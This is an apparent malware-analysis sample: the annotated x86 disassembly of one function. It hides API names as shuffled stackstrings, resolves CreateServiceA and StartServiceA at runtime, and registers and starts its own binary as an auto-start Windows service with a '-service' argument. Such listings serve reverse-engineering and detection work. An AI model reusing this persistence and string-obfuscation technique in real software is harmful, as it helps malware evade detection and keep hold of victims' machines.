Function at 0x1001bc10
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x100a5688]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov dword [0x100a6b20], eax
mov ecx, dword [ebp + 0x10]
mov dword [0x100a6b24], ecx
mov edx, dword [ebp + 0xc]
mov dword [0x100a6b28], edx
mov byte [ebp - 0x440], 0
push 0x3ff
push 0
lea eax, [ebp - 0x43f]
push eax
call fcn.10059510
add esp, 0xc
lea ecx, [ebp - 0x440]
push ecx
call fcn.10018000
add esp, 4
lea edx, [ebp - 0x440]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1001bc7f
jmp 0x1001c1ae
lea ecx, [ebp - 0x450]
call fcn.10005190
mov eax, 1
imul eax, eax, 6
mov byte [ebp + eax - 0x10], 0x72
mov ecx, 1
imul ecx, ecx, 0xb
mov dword [ebp - 0x46c], ecx
cmp dword [ebp - 0x46c], 0xc
jae 0x1001bcb0
jmp 0x1001bcb5
call fcn.10056f6f
mov edx, dword [ebp - 0x46c]
mov byte [ebp + edx - 0x10], 0
mov eax, 1
imul eax, eax, 0
mov byte [ebp + eax - 0x10], 0x25
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x10], 0x73
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0x10], 0x73
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 0x10], 0x20
mov ecx, 1
imul ecx, ecx, 9
mov byte [ebp + ecx - 0x10], 0x63
mov edx, 1
imul edx, edx, 0xa
mov byte [ebp + edx - 0x10], 0x65
mov eax, 1
shl eax, 3
mov byte [ebp + eax - 0x10], 0x69
mov ecx, 1
imul ecx, ecx, 7
mov byte [ebp + ecx - 0x10], 0x76
mov edx, 1
imul edx, edx, 5
mov byte [ebp + edx - 0x10], 0x65
mov eax, 1
imul eax, eax, 3
mov byte [ebp + eax - 0x10], 0x2d
lea ecx, [ebp - 0x440]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x450]
push eax
call fcn.10004b70
add esp, 0xc
lea ecx, [ebp - 0x440]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea ecx, [ebp - 0x448]
call fcn.10003f00
lea ecx, [ebp - 0x448]
call fcn.100047e0
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x448]
call fcn.100044f0
lea edx, [ebp - 0x448]
push edx
lea ecx, [ebp - 0x454]
call fcn.10004f90
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0
jne 0x1001bde6
lea ecx, [ebp - 0x454]
call fcn.10005140
lea ecx, [ebp - 0x448]
call fcn.10005140
lea ecx, [ebp - 0x450]
call fcn.10005140
jmp 0x1001c1ae
mov eax, 1
imul eax, eax, 6
mov byte [ebp + eax - 0x20], 0x33
mov ecx, 1
imul ecx, ecx, 5
mov byte [ebp + ecx - 0x20], 0x69
mov edx, 1
shl edx, 2
mov byte [ebp + edx - 0x20], 0x70
mov eax, 1
imul eax, eax, 9
mov byte [ebp + eax - 0x20], 0x64
mov ecx, 1
imul ecx, ecx, 0xa
mov byte [ebp + ecx - 0x20], 0x6c
mov edx, 1
imul edx, edx, 0
mov byte [ebp + edx - 0x20], 0x41
mov eax, 1
shl eax, 3
mov byte [ebp + eax - 0x20], 0x2e
mov ecx, 1
imul ecx, ecx, 0xc
mov dword [ebp - 0x464], ecx
cmp dword [ebp - 0x464], 0xd
jae 0x1001be5a
jmp 0x1001be5f
call fcn.10056f6f
mov edx, dword [ebp - 0x464]
mov byte [ebp + edx - 0x20], 0
mov eax, 1
imul eax, eax, 0xb
mov byte [ebp + eax - 0x20], 0x6c
mov ecx, 1
shl ecx, 1
mov byte [ebp + ecx - 0x20], 0x76
mov edx, 1
imul edx, edx, 7
mov byte [ebp + edx - 0x20], 0x32
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x20], 0x64
mov ecx, 1
imul ecx, ecx, 3
mov byte [ebp + ecx - 0x20], 0x61
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x470], 0
cmp dword [ebp - 0x460], 0
je 0x1001c0b8
mov eax, 1
imul eax, eax, 3
mov byte [ebp + eax - 0x40], 0x61
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x40], 0x72
mov edx, 1
imul edx, edx, 0xd
mov byte [ebp + edx - 0x40], 0x41
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 0x40], 0x65
mov ecx, 1
imul ecx, ecx, 6
mov byte [ebp + ecx - 0x40], 0x53
mov edx, 1
imul edx, edx, 5
mov byte [ebp + edx - 0x40], 0x65
mov eax, 1
imul eax, eax, 9
mov byte [ebp + eax - 0x40], 0x76
mov ecx, 1
shl ecx, 2
mov byte [ebp + ecx - 0x40], 0x74
mov edx, 1
imul edx, edx, 0xb
mov byte [ebp + edx - 0x40], 0x63
mov eax, 1
imul eax, eax, 7
mov byte [ebp + eax - 0x40], 0x65
mov ecx, 1
shl ecx, 3
mov byte [ebp + ecx - 0x40], 0x72
mov edx, 1
imul edx, edx, 0xc
mov byte [ebp + edx - 0x40], 0x65
mov eax, 1
imul eax, eax, 0xa
mov byte [ebp + eax - 0x40], 0x69
mov ecx, 1
imul ecx, ecx, 0
mov byte [ebp + ecx - 0x40], 0x43
mov edx, 1
imul edx, edx, 0xe
mov dword [ebp - 0x474], edx
cmp dword [ebp - 0x474], 0xf
jae 0x1001bfa9
jmp 0x1001bfae
call fcn.10056f6f
mov eax, dword [ebp - 0x474]
mov byte [ebp + eax - 0x40], 0
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x460]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x458], eax
mov eax, 1
imul eax, eax, 3
mov byte [ebp + eax - 0x30], 0x72
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 0x30], 0x74
mov edx, 1
imul edx, edx, 5
mov byte [ebp + edx - 0x30], 0x53
mov eax, 1
imul eax, eax, 0xd
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0xe
jae 0x1001c010
jmp 0x1001c015
call fcn.10056f6f
mov ecx, dword [ebp - 0x468]
mov byte [ebp + ecx - 0x30], 0
mov edx, 1
imul edx, edx, 7
mov byte [ebp + edx - 0x30], 0x72
mov eax, 1
imul eax, eax, 0xc
mov byte [ebp + eax - 0x30], 0x41
mov ecx, 1
shl ecx, 3
mov byte [ebp + ecx - 0x30], 0x76
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 0x30], 0x61
mov eax, 1
imul eax, eax, 9
mov byte [ebp + eax - 0x30], 0x69
mov ecx, 1
imul ecx, ecx, 0xb
mov byte [ebp + ecx - 0x30], 0x65
mov edx, 1
imul edx, edx, 0
mov byte [ebp + edx - 0x30], 0x53
mov eax, 1
imul eax, eax, 6
mov byte [ebp + eax - 0x30], 0x65
mov ecx, 1
imul ecx, ecx, 0xa
mov byte [ebp + ecx - 0x30], 0x63
mov edx, 1
shl edx, 2
mov byte [ebp + edx - 0x30], 0x74
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x460]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x458], 0
je 0x1001c180
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x450]
call fcn.100044d0
push eax
push 1
push 2
push 0x10
push 0xf01ff
lea ecx, [ebp - 0x454]
call fcn.100044d0
push eax
lea ecx, [ebp - 0x448]
call fcn.100044d0
push eax
mov edx, dword [ebp - 0x45c]
push edx
call dword [ebp - 0x458]
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0
je 0x1001c180
lea ecx, [ebp - 0x454]
call fcn.100047e0
mov dword [ebp - 0x478], eax
lea eax, [ebp - 0x478]
push eax
push 1
mov ecx, dword [ebp - 0x44c]
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov byte [ebp - 0x441], 0
push 0
push 0
mov edx, dword [ebp - 0x44c]
push edx
call dword [ebp - 0x470]
test eax, eax
je 0x1001c164
mov byte [ebp - 0x441], 1
mov eax, dword [ebp - 0x44c]
push eax
call fcn.100136c0
add esp, 4
mov ecx, dword [ebp - 0x44c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea ecx, [ebp - 0x454]
call fcn.10005140
lea ecx, [ebp - 0x448]
call fcn.10005140
lea ecx, [ebp - 0x450]
call fcn.10005140
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005ae75
mov esp, ebp
pop ebp
ret